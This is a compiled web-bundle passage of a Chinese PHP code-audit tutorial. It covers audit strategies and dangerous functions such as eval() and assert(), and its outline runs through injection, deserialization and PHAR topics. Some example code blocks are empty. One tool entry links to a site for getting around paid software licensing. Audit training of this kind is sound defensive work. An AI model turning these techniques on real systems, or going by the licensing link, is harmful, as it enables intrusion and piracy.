shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/03.\u4ee3\u7801\u5ba1\u8ba1/02.PHP/02.PHP\u4ee3\u7801\u5ba1\u8ba1.md","tags":[],"version":"current","sidebarPosition":2,"frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"PHP\u4ee3\u7801\u5ba1\u8ba1\u57fa\u7840\u77e5\u8bc6","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u4ee3\u7801\u5ba1\u8ba1/PHP/PHP\u4ee3\u7801\u5ba1\u8ba1\u57fa\u7840\u77e5\u8bc6"},"next":{"title":"\u8bb0\u5f55\u4e00\u6b21\u5bf9PHAR\u53cd\u5e8f\u5217\u5316\u7684\u5229\u7528","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u4ee3\u7801\u5ba1\u8ba1/PHP/\u8bb0\u5f55\u4e00\u6b21\u5bf9PHAR\u53cd\u5e8f\u5217\u5316\u7684\u5229\u7528"}}');var r=s(74848),i=s(28453);const c={},t="PHP\u4ee3\u7801\u5ba1\u8ba1",a={},d=[{value:"\u5e8f\u8a00",id:"\u5e8f\u8a00",level:2},{value:"\u5de5\u5177\u51c6\u5907",id:"\u5de5\u5177\u51c6\u5907",level:2},{value:"PHPStorm",id:"phpstorm",level:3},{value:"VScode",id:"vscode",level:3},{value:"\u5ba1\u8ba1\u601d\u8def",id:"\u5ba1\u8ba1\u601d\u8def",level:2},{value:"\u654f\u611f\u51fd\u6570\u65b9\u6cd5\u56de\u6eaf(\u53cd\u5411\u5ba1\u8ba1)",id:"\u654f\u611f\u51fd\u6570\u65b9\u6cd5\u56de\u6eaf\u53cd\u5411\u5ba1\u8ba1",level:3},{value:"\u7528\u6237\u53ef\u63a7\u53c2\u6570\u8ffd\u8e2a(\u6b63\u5411\u5ba1\u8ba1)",id:"\u7528\u6237\u53ef\u63a7\u53c2\u6570\u8ffd\u8e2a\u6b63\u5411\u5ba1\u8ba1",level:3},{value:"\u5173\u952e\u4e1a\u52a1\u529f\u80fd\u5206\u6790(\u529f\u80fd\u5ba1\u8ba1)",id:"\u5173\u952e\u4e1a\u52a1\u529f\u80fd\u5206\u6790\u529f\u80fd\u5ba1\u8ba1",level:3},{value:"\u5b8c\u5168\u5ba1\u8ba1\u6e90\u4ee3\u7801",id:"\u5b8c\u5168\u5ba1\u8ba1\u6e90\u4ee3\u7801",level:3},{value:"\u57fa\u7840\u77e5\u8bc6",id:"\u57fa\u7840\u77e5\u8bc6",level:2},{value:"\u524d\u8a00",id:"\u524d\u8a00",level:3},{value:"\u4ee3\u7801\u6267\u884c",id:"\u4ee3\u7801\u6267\u884c",level:3},{value:"eval()",id:"eval",level:4},{value:"\u8fd4\u56de\u503c",id:"\u8fd4\u56de\u503c",level:5},{value:"assert()",id:"assert",level:4},{value:"\u53c2\u6570",id:"\u53c2\u6570",level:5},{value:"assert()\u914d\u7f6e",id:"assert\u914d\u7f6e",level:5},{value:"preg_replace()",id:"preg_replace",level:4},{value:"\u53c2\u6570\u8bf4\u660e\uff1a",id:"\u53c2\u6570\u8bf4\u660e",level:5},{value:"create_function()",id:"create_function",level:4},{value:"\u53c2\u6570",id:"\u53c2\u6570-1",level:5},{value:"\u8fd4\u56de\u503c",id:"\u8fd4\u56de\u503c-1",level:5},{value:"array_map()",id:"array_map",level:4},{value:"\u53c2\u6570",id:"\u53c2\u6570-2",level:5},{value:"\u8fd4\u56de\u503c",id:"\u8fd4\u56de\u503c-2",level:5},{value:"call_user_func()",id:"call_user_func",level:4},{value:"\u53c2\u6570",id:"\u53c2\u6570-3",level:5},{value:"call_user_func_array()",id:"call_user_func_array",level:4},{value:"\u53c2\u6570",id:"\u53c2\u6570-4",level:5},{value:"array_filter()",id:"array_filter",level:4},{value:"\u53c2\u6570",id:"\u53c2\u6570-5",level:5},{value:"usort()",id:"usort",level:4},{value:"\u53c2\u6570",id:"\u53c2\u6570-6",level:5},{value:"uasort()",id:"uasort",level:4},{value:"\u53c2\u6570",id:"\u53c2\u6570-7",level:5},{value:"\u603b\u7ed3",id:"\u603b\u7ed3",level:4},{value:"\u547d\u4ee4\u6267\u884c",id:"\u547d\u4ee4\u6267\u884c",level:3},{value:"system()",id:"system",level:4},{value:"\u53c2\u6570",id:"\u53c2\u6570-8",level:5},{value:"exec()",id:"exec",level:4},{value:"\u53c2\u6570",id:"\u53c2\u6570-9",level:5},{value:"shell_exec()",id:"shell_exec",level:4},{value:"\u53c2\u6570",id:"\u53c2\u6570-10",level:5},{value:"passthru()",id:"passthru",level:4},{value:"\u53c2\u6570",id:"\u53c2\u6570-11",level:5},{value:"pcntl_exec()",id:"pcntl_exec",level:4},{value:"\u53c2\u6570",id:"\u53c2\u6570-12",level:5},{value:"popen()",id:"popen",level:4},{value:"\u53c2\u6570",id:"\u53c2\u6570-13",level:5},{value:"proc_open()",id:"proc_open",level:4},{value:"\u53c2\u6570",id:"\u53c2\u6570-14",level:5},{value:"\u6587\u4ef6\u5305\u542b",id:"\u6587\u4ef6\u5305\u542b",level:3},{value:"include()",id:"include",level:4},{value:"include_once()",id:"include_once",level:4},{value:"require()",id:"require",level:4},{value:"require_once()",id:"require_once",level:4},{value:"\u603b\u7ed3",id:"\u603b\u7ed3-1",level:4},{value:"\u6587\u4ef6\u8bfb\u53d6(\u4e0b\u8f7d)",id:"\u6587\u4ef6\u8bfb\u53d6\u4e0b\u8f7d",level:3},{value:"file_get_contents()",id:"file_get_contents",level:4},{value:"\u53c2\u6570",id:"\u53c2\u6570-15",level:5},{value:"fopen()",id:"fopen",level:4},{value:"\u53c2\u6570",id:"\u53c2\u6570-16",level:5},{value:"fread()",id:"fread",level:4},{value:"\u53c2\u6570",id:"\u53c2\u6570-17",level:5},{value:"fgets()",id:"fgets",level:4},{value:"\u53c2\u6570",id:"\u53c2\u6570-18",level:5},{value:"fgetss()",id:"fgetss",level:4},{value:"\u53c2\u6570",id:"\u53c2\u6570-19",level:5},{value:"readfile()",id:"readfile",level:4},{value:"\u53c2\u6570",id:"\u53c2\u6570-20",level:5},{value:"file()",id:"file",level:4},{value:"\u53c2\u6570",id:"\u53c2\u6570-21",level:5},{value:"parse_ini_file()",id:"parse_ini_file",level:4},{value:"\u53c2\u6570",id:"\u53c2\u6570-22",level:5},{value:"show_source()/highlight_file()",id:"show_sourcehighlight_file",level:4},{value:"\u603b\u7ed3",id:"\u603b\u7ed3-2",level:4},{value:"\u6587\u4ef6\u4e0a\u4f20",id:"\u6587\u4ef6\u4e0a\u4f20",level:3},{value:"move_uploaded_file()",id:"move_uploaded_file",level:4},{value:"\u53c2\u6570",id:"\u53c2\u6570-23",level:5},{value:"\u6587\u4ef6\u5220\u9664",id:"\u6587\u4ef6\u5220\u9664",level:3},{value:"unlink()",id:"unlink",level:4},{value:"\u53c2\u6570",id:"\u53c2\u6570-24",level:5},{value:"session_destroy()",id:"session_destroy",level:4},{value:"\u53d8\u91cf\u8986\u76d6",id:"\u53d8\u91cf\u8986\u76d6",level:3},{value:"extract()",id:"extract",level:4},{value:"\u53c2\u6570",id:"\u53c2\u6570-25",level:5},{value:"parse_str()",id:"parse_str",level:4},{value:"\u53c2\u6570",id:"\u53c2\u6570-26",level:5},{value:"import_request_variables()",id:"import_request_variables",level:4},{value:"\u53c2\u6570",id:"\u53c2\u6570-27",level:5},{value:"foreach()",id:"foreach",level:4},{value:"\u5f31\u7c7b\u578b\u6bd4\u8f83",id:"\u5f31\u7c7b\u578b\u6bd4\u8f83",level:3},{value:"md5()\u51fd\u6570\u548csha1()\u7ed5\u8fc7",id:"md5\u51fd\u6570\u548csha1\u7ed5\u8fc7",level:4},{value:"is_numeric()\u7ed5\u8fc7",id:"is_numeric\u7ed5\u8fc7",level:4},{value:"in_array()\u7ed5\u8fc7",id:"in_array\u7ed5\u8fc7",level:4},{value:"\u53c2\u6570",id:"\u53c2\u6570-28",level:5},{value:"XSS",id:"xss",level:3},{value:"print()",id:"print",level:4},{value:"print_r()",id:"print_r",level:4},{value:"echo()",id:"echo",level:4},{value:"printf()",id:"printf",level:4},{value:"sprintf()",id:"sprintf",level:4},{value:"die()",id:"die",level:4},{value:"var_dump()",id:"var_dump",level:4},{value:"var_export()",id:"var_export",level:4},{value:"PHP\u9ed1\u9b54\u6cd5",id:"php\u9ed1\u9b54\u6cd5",level:3},{value:"md5()",id:"md5",level:4},{value:"eval()",id:"eval-1",level:4},{value:"ereg()",id:"ereg",level:4},{value:"strcmp()",id:"strcmp",level:4},{value:"curl_setopt()",id:"curl_setopt",level:4},{value:"preg_replace()",id:"preg_replace-1",level:4},{value:"urldecode()",id:"urldecode",level:4},{value:"file_get_contents()",id:"file_get_contents-1",level:4},{value:"parse_url()",id:"parse_url",level:4},{value:"\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e",id:"\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e",level:3},{value:"\u7b80\u4ecb",id:"\u7b80\u4ecb",level:4},{value:"__wakeup()",id:"__wakeup",level:4},{value:"__sleep()",id:"__sleep",level:4},{value:"__destruct()",id:"__destruct",level:4},{value:"__construct()",id:"__construct",level:4},{value:"__call()",id:"__call",level:4},{value:"__callStatic()",id:"__callstatic",level:4},{value:"__get()",id:"__get",level:4},{value:"\u53c2\u6570",id:"\u53c2\u6570-29",level:5},{value:"__set()",id:"__set",level:4},{value:"\u53c2\u6570",id:"\u53c2\u6570-30",level:5},{value:"__isset()",id:"__isset",level:4},{value:"__unset()",id:"__unset",level:4},{value:"__toString()",id:"__tostring",level:4},{value:"__invoke()",id:"__invoke",level:4},{value:"pop\u94fe\u7684\u6784\u9020",id:"pop\u94fe\u7684\u6784\u9020",level:4},{value:"\u601d\u8def",id:"\u601d\u8def",level:4},{value:"phar\u4e0e\u53cd\u5e8f\u5217\u5316",id:"phar\u4e0e\u53cd\u5e8f\u5217\u5316",level:4},{value:"\u7b80\u4ecb",id:"\u7b80\u4ecb-1",level:5},{value:"\u6587\u4ef6\u7ed3\u6784",id:"\u6587\u4ef6\u7ed3\u6784",level:5},{value:"\u5b9e\u9a8c",id:"\u5b9e\u9a8c",level:5},{value:"phar.php\uff1a",id:"pharphp",level:6},{value:"Ameng.php",id:"amengphp",level:6},{value:"\u5176\u4ed6\u4e00\u4e9b\u603b\u7ed3",id:"\u5176\u4ed6\u4e00\u4e9b\u603b\u7ed3",level:3},{value:"basename()",id:"basename",level:4},{value:"\u53c2\u6570",id:"\u53c2\u6570-31",level:5},{value:"\u5b9e\u6218\u9879\u76ee",id:"\u5b9e\u6218\u9879\u76ee",level:2},{value:"\u4efb\u5b50\u884c\u7f51\u7edc\u5b89\u5168\u5ba1\u8ba1\u7cfb\u7edf(PHP)",id:"\u4efb\u5b50\u884c\u7f51\u7edc\u5b89\u5168\u5ba1\u8ba1\u7cfb\u7edfphp",level:3},{value:"\u5c71\u77f3\u4e91\u9274\u4e3b\u673a\u5b89\u5168\u7ba1\u7406\u7cfb\u7edf(PHP\u3001Python)",id:"\u5c71\u77f3\u4e91\u9274\u4e3b\u673a\u5b89\u5168\u7ba1\u7406\u7cfb\u7edfphppython",level:3}];function h(e){const n={a:"a",blockquote:"blockquote",code:"code",h1:"h1",h2:"h2",h3:"h3",h4:"h4",h5:"h5",h6:"h6",header:"header",img:"img",li:"li",ol:"ol",p:"p",pre:"pre",strong:"strong",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",ul:"ul",...(0,i.R)(),...e.components};return(0,r.jsxs)(r.Fragment,{children:[(0,r.jsxs)(n.table,{children:[(0,r.jsx)(n.thead,{children:(0,r.jsxs)(n.tr,{children:[(0,r.jsx)(n.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,r.jsx)(n.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,r.jsx)(n.tbody,{children:(0,r.jsxs)(n.tr,{children:[(0,r.jsx)(n.td,{style:{textAlign:"left"},children:(0,r.jsx)(n.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,r.jsx)(n.td,{style:{textAlign:"left"},children:"2025-08-19 16:48:43"})]})})]}),"\n",(0,r.jsx)(n.header,{children:(0,r.jsx)(n.h1,{id:"php\u4ee3\u7801\u5ba1\u8ba1",children:"PHP\u4ee3\u7801\u5ba1\u8ba1"})}),"\n",(0,r.jsx)(n.h2,{id:"\u5e8f\u8a00",children:"\u5e8f\u8a00"}),"\n",(0,r.jsx)(n.p,{children:"PHP\u4ee3\u7801\u5ba1\u8ba1\u662f\u6307\u5bf9PHP\u7a0b\u5e8f\u6e90\u4ee3\u7801\u8fdb\u884c\u7cfb\u7edf\u6027\u7684\u68c0\u67e5,\u5b83\u7684\u76ee\u7684\u662f\u4e3a\u4e86\u53d1\u73b0PHP\u7a0b\u5e8f\u5b58\u5728\u7684\u4e00\u4e9b\u6f0f\u6d1e\u6216\u8005\u903b\u8f91\u95ee\u9898,\u907f\u514d\u7a0b\u5e8f\u7f3a\u9677\u88ab\u975e\u6cd5\u5229\u7528\u4ece\u800c\u5e26\u6765\u4e0d\u5fc5\u8981\u7684\u5b89\u5168\u98ce\u9669."}),"\n",(0,r.jsx)(n.h2,{id:"\u5de5\u5177\u51c6\u5907",children:"\u5de5\u5177\u51c6\u5907"}),"\n",(0,r.jsx)(n.h3,{id:"phpstorm",children:"PHPStorm"}),"\n",(0,r.jsxs)(n.p,{children:[(0,r.jsx)(n.a,{href:"https://www.jetbrains.com/phpstorm/promo/?source=google&medium=cpc&campaign=APAC_en_ASIA_PhpStorm_Branded&term=phpstorm&content=604024580598&gad_source=1&gclid=CjwKCAjw3P-2BhAEEiwA3yPhwA6dzuksQ-yrsGvjWnSHA7FZl5cFJK_Y5szv4KhVm8XmThiwRB9vvxoC_o4QAvD_BwE",children:"PHPStorm"})," \u662f JetBrains \u516c\u53f8\u5f00\u53d1\u7684\u4e00\u6b3e\u5546\u4e1a\u7684PHP\u96c6\u6210\u5f00\u53d1\u5de5\u5177\uff0c\u65e8\u5728\u63d0\u9ad8\u7528\u6237\u6548\u7387\uff0c\u53ef\u6df1\u523b\u7406\u89e3\u7528\u6237\u7684\u7f16\u7801\uff0c\u63d0\u4f9b\u667a\u80fd\u4ee3\u7801\u8865\u5168\uff0c\u5feb\u901f\u5bfc\u822a\u4ee5\u53ca\u5373\u65f6\u9519\u8bef\u68c0\u67e5"]}),"\n",(0,r.jsxs)(n.ul,{children:["\n",(0,r.jsxs)(n.li,{children:["\n",(0,r.jsxs)(n.p,{children:[(0,r.jsx)(n.strong,{children:"\u4f18\u70b9"}),": \u597d\u7528"]}),"\n"]}),"\n",(0,r.jsxs)(n.li,{children:["\n",(0,r.jsxs)(n.p,{children:[(0,r.jsx)(n.strong,{children:"\u7f3a\u70b9"}),": \u8981\u94b1 ",(0,r.jsx)(n.a,{href:"https://3.jetbra.in/",children:"\u795e\u79d8\u5de5\u5177"})]}),"\n"]}),"\n"]}),"\n",(0,r.jsx)(n.h3,{id:"vscode",children:"VScode"}),"\n",(0,r.jsxs)(n.p,{children:[(0,r.jsx)(n.a,{href:"https://code.visualstudio.com/",children:"Visual Studio Code"})," \u662f\u4e00\u4e2a\u8f7b\u91cf\u7ea7\u4f46\u529f\u80fd\u5f3a\u5927\u7684\u6e90\u4ee3\u7801\u7f16\u8f91\u5668\uff0c\u53ef\u5728\u684c\u9762\u4e0a\u8fd0\u884c\uff0c\u9002\u7528\u4e8e Windows\u3001macOS \u548c Linux\u3002\u5b83\u5185\u7f6e\u4e86\u5bf9 JavaScript\u3001TypeScript \u548c Node.js \u7684\u652f\u6301\uff0c\u5e76\u5177\u6709\u9002\u7528\u4e8e\u5176\u4ed6\u8bed\u8a00\u548c\u8fd0\u884c\u65f6\uff08\u5982 C++\u3001C#\u3001Java\u3001Python\u3001PHP\u3001Go\u3001.NET\uff09\u7684\u4e30\u5bcc\u6269\u5c55\u751f\u6001\u7cfb\u7edf"]}),"\n",(0,r.jsxs)(n.ul,{children:["\n",(0,r.jsx)(n.li,{children:"**\u4f18\u70b9\uff1a**\u514d\u8d39 \u9002\u914d\u5ea6\u9ad8"}),"\n",(0,r.jsx)(n.li,{children:"**\u7f3a\u70b9\uff1a**\u73af\u5883\u914d\u7f6e\u9ebb\u70e6"}),"\n"]}),"\n",(0,r.jsx)(n.h2,{id:"\u5ba1\u8ba1\u601d\u8def",children:"\u5ba1\u8ba1\u601d\u8def"}),"\n",(0,r.jsx)(n.h3,{id:"\u654f\u611f\u51fd\u6570\u65b9\u6cd5\u56de\u6eaf\u53cd\u5411\u5ba1\u8ba1",children:"\u654f\u611f\u51fd\u6570\u65b9\u6cd5\u56de\u6eaf(\u53cd\u5411\u5ba1\u8ba1)"}),"\n",(0,r.jsx)(n.p,{children:"\u67e5\u627e\u9879\u76ee\u4e2d\u7684\u654f\u611f\u51fd\u6570\u65b9\u6cd5 \u56de\u6eaf\u4f20\u5165\u7684\u53c2\u6570 \u5224\u65ad\u7528\u6237\u662f\u5426\u53ef\u63a7 \u662f\u5426\u5f97\u5230\u6709\u6548\u7684\u8fc7\u6ee4"}),"\n",(0,r.jsxs)(n.ul,{children:["\n",(0,r.jsxs)(n.li,{children:[(0,r.jsx)(n.strong,{children:"\u7f3a\u70b9"}),":\u5f88\u96be\u53d1\u73b0\u8d8a\u6743\u7b49\u903b\u8f91\u6f0f\u6d1e"]}),"\n"]}),"\n",(0,r.jsx)(n.h3,{id:"\u7528\u6237\u53ef\u63a7\u53c2\u6570\u8ffd\u8e2a\u6b63\u5411\u5ba1\u8ba1",children:"\u7528\u6237\u53ef\u63a7\u53c2\u6570\u8ffd\u8e2a(\u6b63\u5411\u5ba1\u8ba1)"}),"\n",(0,r.jsx)(n.p,{children:"\u67e5\u627e\u9879\u76ee\u4e2d\u7684\u7528\u6237\u8f93\u5165 \u8ffd\u8e2a\u7528\u6237\u8f93\u5165 \u5224\u65ad\u662f\u5426\u5f97\u5230\u6709\u6548\u7684\u8fc7\u6ee4/\u8c03\u7528\u654f\u611f\u51fd\u6570/\u5b58\u5728\u903b\u8f91\u95ee\u9898"}),"\n",(0,r.jsx)(n.h3,{id:"\u5173\u952e\u4e1a\u52a1\u529f\u80fd\u5206\u6790\u529f\u80fd\u5ba1\u8ba1",children:"\u5173\u952e\u4e1a\u52a1\u529f\u80fd\u5206\u6790(\u529f\u80fd\u5ba1\u8ba1)"}),"\n",(0,r.jsx)(n.p,{children:"\u4e13\u95e8\u5ba1\u8ba1\u6613\u51fa\u73b0\u6f0f\u6d1e\u7684\u5173\u952e\u529f\u80fd\u70b9\uff0c\u5982 \u5934\u50cf\u4e0a\u4f20 \u7cfb\u7edf\u767b\u9646 \u6587\u4ef6\u4e0b\u8f7d \u7b49\u529f\u80fd"}),"\n",(0,r.jsxs)(n.ul,{children:["\n",(0,r.jsxs)(n.li,{children:["\n",(0,r.jsx)(n.p,{children:"**\u4f18\u70b9:**\u53ef\u4ee5\u5feb\u901f\u5b8c\u6210\u5ba1\u8ba1 \u51cf\u5c11\u5ba1\u8ba1\u9762 \u53ef\u53d1\u73b0\u8d8a\u6743\u7b49\u903b\u8f91\u6f0f\u6d1e"}),"\n"]}),"\n",(0,r.jsxs)(n.li,{children:["\n",(0,r.jsx)(n.p,{children:"**\u7f3a\u70b9:**\u5ba1\u8ba1\u4e0d\u5b8c\u5168\uff0c\u96be\u4ee5\u53d1\u73b0\u6846\u67b6\u6f0f\u6d1e"}),"\n"]}),"\n"]}),"\n",(0,r.jsx)(n.h3,{id:"\u5b8c\u5168\u5ba1\u8ba1\u6e90\u4ee3\u7801",children:"\u5b8c\u5168\u5ba1\u8ba1\u6e90\u4ee3\u7801"}),"\n",(0,r.jsxs)(n.ul,{children:["\n",(0,r.jsxs)(n.li,{children:["\n",(0,r.jsx)(n.p,{children:"**\u4f18\u70b9:**\u5b8c\u5168\u8986\u76d6\u6e90\u4ee3\u7801 \u53ef\u53d1\u73b0\u4e00\u4e9b\u7279\u6b8a\u6761\u4ef6\u7684\u6f0f\u6d1e"}),"\n"]}),"\n",(0,r.jsxs)(n.li,{children:["\n",(0,r.jsx)(n.p,{children:"**\u7f3a\u70b9:**\u8017\u65f6\u957f \u5bb9\u6613\u9057\u6f0f"}),"\n"]}),"\n"]}),"\n",(0,r.jsx)(n.h2,{id:"\u57fa\u7840\u77e5\u8bc6",children:"\u57fa\u7840\u77e5\u8bc6"}),"\n",(0,r.jsx)(n.h3,{id:"\u524d\u8a00",children:"\u524d\u8a00"}),"\n",(0,r.jsx)(n.p,{children:"\u672c\u6587\u7ae0\u4e3b\u8981\u662fPHP\u4ee3\u7801\u5ba1\u8ba1\u7684\u4e00\u4e9b\u57fa\u7840\u77e5\u8bc6\uff0c\u5305\u62ec\u51fd\u6570\u7684\u7528\u6cd5\uff0c\u6f0f\u6d1e\u70b9\uff0c\u504f\u5411\u57fa\u7840\u90e8\u5206\uff0c\u4e2a\u4eba\u80fd\u529b\u6709\u9650\uff0c\u90e8\u5206\u53ef\u80fd\u4f1a\u51fa\u73b0\u9519\u8bef\u6216\u8005\u9057\u6f0f\uff0c\u8bfb\u8005\u53ef\u81ea\u884c\u8865\u5145\u3002"}),"\n",(0,r.jsx)(n.h3,{id:"\u4ee3\u7801\u6267\u884c",children:"\u4ee3\u7801\u6267\u884c"}),"\n",(0,r.jsx)(n.p,{children:"\u4ee3\u7801\u6267\u884c\u662f\u4ee3\u7801\u5ba1\u8ba1\u5f53\u4e2d\u8f83\u4e3a\u4e25\u91cd\u7684\u6f0f\u6d1e\uff0c\u4e3b\u8981\u662f\u4e00\u4e9b\u547d\u4ee4\u6267\u884c\u51fd\u6570\u7684\u4e0d\u9002\u5f53\u4f7f\u7528\u3002\u90a3\u4e48\uff0c\u5e38\u89c1\u7684\u80fd\u591f\u89e6\u53d1\u8fd9\u7c7b\u6f0f\u6d1e\u7684\u51fd\u6570\u6709\u54ea\u4e9b\u5462\uff1f"}),"\n",(0,r.jsx)(n.h4,{id:"eval",children:"eval()"}),"\n",(0,r.jsxs)(n.p,{children:["\u60f3\u5fc5\u5927\u5bb6\u5bf9",(0,r.jsx)(n.code,{children:"eval()"}),"\u51fd\u6570\u5e94\u8be5\u5e76\u4e0d\u964c\u751f\uff0c\u7b80\u800c\u8a00\u4e4b",(0,r.jsx)(n.code,{children:"eval()"}),"\u51fd\u6570\u5c31\u662f\u5c06\u4f20\u5165\u7684\u5b57\u7b26\u4e32\u5f53\u4f5c ",(0,r.jsx)(n.code,{children:"PHP"})," \u4ee3\u7801\u6765\u8fdb\u884c\u6267\u884c\u3002"]}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:"eval( string $code) : mixed\n"})}),"\n",(0,r.jsx)(n.h5,{id:"\u8fd4\u56de\u503c",children:"\u8fd4\u56de\u503c"}),"\n",(0,r.jsxs)(n.p,{children:[(0,r.jsx)(n.code,{children:"eval()"})," \u8fd4\u56de ",(0,r.jsx)(n.code,{children:"NULL"}),"\uff0c\u9664\u975e\u5728\u6267\u884c\u7684\u4ee3\u7801\u4e2d return\u4e86\u4e00\u4e2a\u503c\uff0c\u51fd\u6570\u8fd4\u56de\u4f20\u9012\u7ed9 return\u7684\u503c\u3002PHP7\u5f00\u59cb\uff0c\u6267\u884c\u7684\u4ee3\u7801\u91cc\u5982\u679c\u6709\u4e00\u4e2aparse error\uff0c",(0,r.jsx)(n.code,{children:"eval()"})," \u4f1a\u629b\u51fa ParseError \u5f02\u5e38\u3002\u5728 PHP 7 \u4e4b\u524d\uff0c\u5982\u679c\u5728\u6267\u884c\u7684\u4ee3\u7801\u4e2d\u6709 parse error\uff0c",(0,r.jsx)(n.code,{children:"eval()"})," \u8fd4\u56de",(0,r.jsx)(n.code,{children:"FALSE"}),"\uff0c\u4e4b\u540e\u7684\u4ee3\u7801\u5c06\u6b63\u5e38\u6267\u884c\u3002\u65e0\u6cd5\u4f7f\u7528",(0,r.jsx)(n.code,{children:"set_error_handler()"}),"\u6355\u83b7 ",(0,r.jsx)(n.code,{children:"eval()"})," \u4e2d\u7684\u89e3\u6790\u9519\u8bef\u3002"]}),"\n",(0,r.jsxs)(n.p,{children:["\u4e5f\u5c31\u662f\u8bf4\uff0c\u6211\u4eec\u5728\u5229\u7528",(0,r.jsx)(n.code,{children:"eval()"}),"\u51fd\u6570\u7684\u65f6\u5019\uff0c\u5982\u679c\u6211\u4eec\u4f20\u5165\u7684\u5b57\u7b26\u4e32\u4e0d\u662f\u6b63\u5e38\u7684\u4ee3\u7801\u683c\u5f0f\uff0c\u90a3\u4e48\u5c31\u4f1a\u629b\u51fa\u5f02\u5e38\u3002\u6240\u4ee5PHP7\u548cPHP5\u5728\u8fd9\u90e8\u5206\u6700\u5927\u7684\u4e0d\u540c\u662f\u4ec0\u4e48\u5462\uff1f\u7b80\u800c\u8a00\u4e4b\uff0cPHP5\u5728\u4ee3\u7801\u9519\u8bef\u683c\u5f0f\u9519\u8bef\u4e4b\u540e\u4ecd\u4f1a\u6267\u884c\uff0c\u800cPHP7\u5728\u4ee3\u7801\u53d1\u751f\u9519\u8bef\u4e4b\u540e\uff0c\u90a3\u4e48",(0,r.jsx)(n.code,{children:"eval()"}),"\u51fd\u6570\u5c31\u4f1a\u629b\u51fa\u5f02\u5e38\uff0c\u800c\u4e0d\u6267\u884c\u4e4b\u540e\u7684\u4ee3\u7801\u3002"]}),"\n",(0,r.jsx)(n.p,{children:"\u793a\u4f8b\uff1a"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:"\n\n\u6267\u884c\u7ed3\u679c\u2014\u2014>This is a PHP```\n\n\n\u90a3\u4e48\u5982\u679c\u6211\u8981\u6267\u884c\u7cfb\u7edf\u547d\u4ee4\u5462\uff1f\u8fd9\u4e2a\u65f6\u5019\u5c31\u9700\u8981\u7528\u5230PHP\u4e2d\u7684`system`\u51fd\u6570\u3002\n\n```php\n\n\n\u6267\u884c\u7ed3\u679c\u2014\u2014>desktop-m61j5j6\\admin\n"})}),"\n",(0,r.jsx)(n.p,{children:"\u90a3\u4e48\u5230\u6b64\uff0c\u6211\u4eec\u5c31\u53ef\u4ee5\u7ed3\u5408\u5176\u4ed6\u59ff\u52bf\u901a\u8fc7\u8fd9\u4e2a\u51fd\u6570\u5b9e\u73b0\u4efb\u610f\u4ee3\u7801\u6267\u884c\u4e86\u3002"}),"\n",(0,r.jsx)(n.h4,{id:"assert",children:"assert()"}),"\n",(0,r.jsx)(n.p,{children:"PHP"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:"assert( mixed $assertion[, string $description] ) : bool\n"})}),"\n",(0,r.jsx)(n.p,{children:"PHP"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:"assert( mixed $assertion[, Throwable $exception] ) : bool\n"})}),"\n",(0,r.jsx)(n.h5,{id:"\u53c2\u6570",children:"\u53c2\u6570"}),"\n",(0,r.jsxs)(n.ul,{children:["\n",(0,r.jsx)(n.li,{children:(0,r.jsx)(n.strong,{children:"assertion"})}),"\n"]}),"\n",(0,r.jsx)(n.p,{children:"\u65ad\u8a00\u3002\u5728PHP 5 \u4e2d\uff0c\u662f\u4e00\u4e2a\u7528\u4e8e\u6267\u884c\u7684\u5b57\u7b26\u4e32\u6216\u8005\u7528\u4e8e\u6d4b\u8bd5\u7684\u5e03\u5c14\u503c\u3002\u5728PHP 7 \u4e2d\uff0c\u53ef\u4ee5\u662f\u4e00\u4e2a\u8fd4\u56de\u4efb\u4f55\u503c\u7684\u8868\u8fbe\u5f0f\uff0c\u5b83\u5c06\u88ab\u6267\u884c\u7ed3\u679c\u7528\u4e8e\u5224\u65ad\u65ad\u8a00\u662f\u5426\u6210\u529f\u3002"}),"\n",(0,r.jsxs)(n.ul,{children:["\n",(0,r.jsx)(n.li,{children:(0,r.jsx)(n.strong,{children:"description"})}),"\n"]}),"\n",(0,r.jsxs)(n.p,{children:["\u5982\u679c",(0,r.jsx)(n.code,{children:"assertion"}),"\u5931\u8d25\u4e86\uff0c\u9009\u9879",(0,r.jsx)(n.code,{children:"description"}),"\u5c06\u4f1a\u5305\u542b\u5728\u5931\u8d25\u4fe1\u606f\u91cc\u3002"]}),"\n",(0,r.jsxs)(n.ul,{children:["\n",(0,r.jsx)(n.li,{children:(0,r.jsx)(n.strong,{children:"exception"})}),"\n"]}),"\n",(0,r.jsxs)(n.p,{children:["\u5728PHP 7\u4e2d\uff0c\u7b2c\u4e8c\u4e2a\u53c2\u6570\u53ef\u4ee5\u662f\u4e00\u4e2a",(0,r.jsx)(n.code,{children:"Throwable"}),"\u5bf9\u8c61\uff0c\u800c\u4e0d\u662f\u4e00\u4e2a\u5b57\u7b26\u4e32\uff0c\u5982\u679c\u65ad\u8a00\u5931\u8d25\u4e14\u542f\u7528\u4e86",(0,r.jsx)(n.code,{children:"assert.exception"}),"\uff0c\u90a3\u4e48\u8be5\u5bf9\u8c61\u5c06\u88ab\u629b\u51fa"]}),"\n",(0,r.jsx)(n.h5,{id:"assert\u914d\u7f6e",children:"assert()\u914d\u7f6e"}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,r.jsxs)(n.table,{children:[(0,r.jsx)(n.thead,{children:(0,r.jsxs)(n.tr,{children:[(0,r.jsx)(n.th,{children:"\u914d\u7f6e\u9879"}),(0,r.jsx)(n.th,{children:"\u9ed8\u8ba4\u503c"}),(0,r.jsx)(n.th,{style:{textAlign:"left"},children:"\u53ef\u9009\u503c"})]})}),(